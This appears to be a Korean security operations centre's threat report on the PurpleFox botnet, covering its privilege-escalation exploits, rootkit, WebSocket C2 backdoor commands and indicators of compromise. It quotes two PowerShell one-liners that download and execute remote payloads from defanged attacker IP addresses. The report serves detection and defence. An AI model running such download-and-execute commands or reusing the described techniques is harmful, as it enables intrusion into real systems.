PurpleFox 봇넷은 새로운 취약점 익스플로잇과 페이로드를 드롭하고, C2 양방향 통신에도 웹 소켓을 활용하기 시작했습니다. PurpleFox 봇넷은 주로 중국에 기반을 두고 있지만, 수백 대의 손상된 서버를 통해 여전히 세계적인 입지를 확보하고 있습니다.
나라 |
서버 수 |
중국 |
345 |
인도 |
34 |
브라질 |
29 |
미국 |
26 |
그 외 |
113 |
[표 1] PurpleFox 봇넷의 나라별 서버 수
PurpleFox 봇넷의 활동은 C2 서버를 가리키는 지정된 URL에서 악성 페이로드를 다운로드하는 아래의 PowerShell 명령 중 하나를 실행하여 시작됩니다.
"cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp[[:]]//103.228.112[.]246[[:]]17881/57BC9B7E.Png');MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png"
"cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp[:]//117.187.136[.]141[:]13405/57BC9B7E.Png');MsiMake hxxp[:]//117.187.136.141[:]13405/0CFA042F.Png" |
최근 공격에 사용된 페이로드는 3가지 권한 상승 컴포넌트로 구성된 스크립트입니다. 이 스크립트는 64비트 아키텍처 시스템을 대상으로 합니다.
Tater (Hot Potato) PowerSploit 악성 바이너리 익스플로잇 |
[표 2] 스크립트 구성된 3가지 권한 상승 컴포넌트
최신 PurpleFox 변종이 이용하는 취약점은 아래와 같습니다.
Windows 7 / Windows Server 2008 : CVE-2020-1054, CVE-2019-0808 Windows 8 / Windows Server 2012 : CVE-2019-1458 Windows 10 / Windows Server 2019 : CVE-2021-1732 |
PurpleFox는 호스트 시스템을 확인하고 적절한 익스플로잇 선택 후, PowerSploit 모듈을 사용하여 내장된 익스플로잇 번들 바이너리와 MSI 명령을 인수로 로드합니다. 그리고 Tater 모듈을 이용하여 MSI 명령을 실행합니다.
MSI 패키지는 어떠한 사용자와의 상호 작용 없이 관리자 수준의 프로세스에서 시작되며, PurpleFox의 이전 설치 버전을 확인 후 해당 컴포넌트를 새로운 것으로 교체합니다.
PurpleFox 백도어
호스트 시스템에 설치된 백도어는 VMProtect 파일 압축 유틸리티로 난독화된 DLL 파일입니다. MSI 패키지에 의해 설치된 다른 데이터 파일을 사용하여, 해당 기능을 위해 다른 DLL을 수동으로 압축 해제하고 로드합니다.
또한 데이터 파일에서도 압축 해제 후에 파일, 레지스트리 키, 프로세스를 숨기는 데 사용되는 루트킷 드라이버를 가지고 있습니다. 따라서, 해킹된 서버에서 탐지될 가능성을 줄입니다.
[그림 1] PurpleFox 백도어 설치 프로세스 (출처 : TrendMicro)
웹 소켓 채널 오픈 및 활성 상태 유지
최근 공격에서 발견된 새로운 .NET 백도어는 C2 통신에 웹 소켓을 활용하기 위해 초기 침입 후 며칠 뒤에 드롭됩니다. 이 컴포넌트는 통신 구성 설정과 암호화 기능 초기화를 담당합니다.
악성코드에서 보기 힘든 특징 중 하나는 감염된 클라이언트와 서버 사이의 효율적인 양방향 통신을 위해 C&C 서버에 대한 웹 소켓 통신을 활용하는 것입니다. 웹 소켓은 단일 TCP 세션을 통해 클라이언트와 서버 간에 교환되는 데이터 스트림을 지원하는 통신 기술입니다. HTTP와 같은 기존의 요청·응답 프로토콜과는 다르게, 웹 소켓은 행위자로 하여금 HTTP 요청·응답 트래픽에 대한 탐지 가능성을 낮출 수 있습니다.
[그림 2] 기존의 요청·응답 프로토콜(왼쪽) 및 WebSocket 통신(오른쪽) (출처 : TrendMicro)
C&C 서버와의 웹 소켓 통신을 초기화하고, 필요한 기간 동안 TCP 연결을 유지하기 위해 “keepalive” 메시지를 전송합니다. 연결에 성공되면 감염된 시스템과 선택된 C2 서버 간에 일련의 양방향 메시지가 교환되어 세션 RSA 암호화 키를 협상하게 됩니다.
[그림 3] 클라이언트와 서버 간의 TCP/IP 교환 (출처 : TrendMicro)
[그림 4] 감염된 시스템과 C2 간의 AES 암호화 교환 (출처 : TrendMicro)
웹 소켓 명령어
웹 소켓 명령의 목록은 광범위하며 다양한 변종 간에 일치하지 않는 점이 다소 있지만, 아래의 [표 3]에 모두 요약되어 있습니다.
Command code |
Functionality |
20 |
피해 시스템에서 현재 날짜 전송 |
30 |
모든 드라이브에 대한 DriveInfo.GetDrives() 결과 정보 |
40 |
특정 디렉터리에 대한 DirectoryInfo() 결과 정보 |
50 |
특정 파일에 대한 FileInfo() 결과 정보 |
60 |
재귀 디렉터리 검색 |
70 |
WMI 쿼리 실행 - ManagementObjectSearcher() |
80 |
웹 소켓 세션 닫기 |
90 |
프로세스 종료 |
100 |
새 프로세스 생성 |
110 |
특정 URL에서 피해 시스템으로 추가 데이터 다운로드 |
120 |
피해 시스템에서 DNS lookup |
130 |
피해 시스템에서 특정 파일 내용 읽기 |
140 |
특정 위치에 새 컨텐츠 쓰기 |
150 |
데이터 다운로드 후 특정 파일에 쓰기 |
160 |
대칭 암호화를 위해 세션 키 재협상 |
180 |
현재 프로세스 ID/Name 가져오기 |
210 |
백도어에 대한 구성 매개 변수 반환 |
220 |
프로세스 중지 후 다른 구성으로 새 프로세스 시작 |
230 |
PID로 특정 프로세스 제거 |
240 |
내부 백도어 개체 속성 쿼리 |
260 |
요청된 일부 특정 파일의 해시 검색 |
270 |
PID 목록 제거 |
280 |
요청된 파일/디렉터리 목록 삭제 |
290 |
파일/디렉터리 목록을 다른 위치로 이동 |
300 |
특정 위치에 새 디렉터리 만들기 |
[표 3] 웹 소켓 명령어 목록 (출처 : TrendMicro)
IOCs
IP |
설명 |
ASN |
활동 영역 |
185.112.144.245 |
(Hosting PS payloads, /a/[1-9])
(Hosting .Net Payload, /a/data) |
AS 44925 (1984 ehf) |
이라크, 사우디아라비아, 터키, UAE |
185.112.147.50 |
C&C 서버 |
터키, 미국, UAE |
|
185.112.144.101 |
터키 |
||
93.95.226.157 |
미국 |
||
93.95.228.163 |
미국 |
||
93.95.227.183 |
- |
||
93.95.227.169 |
UAE |
||
93.95.227.179 |
- |
||
185.112.146.72 |
잠재 C&C 서버 |
- |
|
185.112.146.83 |
- |
[표 4] PowerShell 다운로드 프로그램 및 백도우 구성 매개 변수에서 확인된 IP 주소 정보(출처 : TrendMicro)
[SHA-256]
1dd5124b7ade65c5abe4b4c0e74441a41761207e430c0a563fc05d91aee226e0 51e7c574abc9c323b6ab257305b568cbfa898187309b6be75f94b69116687573 7edb974e451b6cfeb87bb741f2ce8fb2982e233ce37db90c70d57f15164b8ccd c0fee2c000f9caf6b49c73ebc6c84c9084ab1aec5d360b9b7dea6b3156f52acc d4626740bd53e9ae2cf524be4fa83fd6ba0f5692d2cb5f50b2af8232b4de2d0e d4f9a5f8543a91001a859a064b9b0082e633a09e7e23c5a1557bcf5fb59f284c f58e4985feba1658de9b25502c367d802aea9da87c01ba3ad38d2f861c44298e |
[Domain]
www.advb9fyxlf2v[.]com www2.advb9fyxlf2v[.]com www3.advb9fyxlf2v[.]com www4.advb9fyxlf2v[.]com www5.advb9fyxlf2v[.]com www6.advb9fyxlf2v[.]com www7.advb9fyxlf2v[.]com www8.advb9fyxlf2v[.]com |
(출처 :
https://www.bleepingcomputer.com/news/security/new-purplefox-botnet-variant-uses-websockets-for-c2-communication/
https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html )
보안관제센터 Team MIR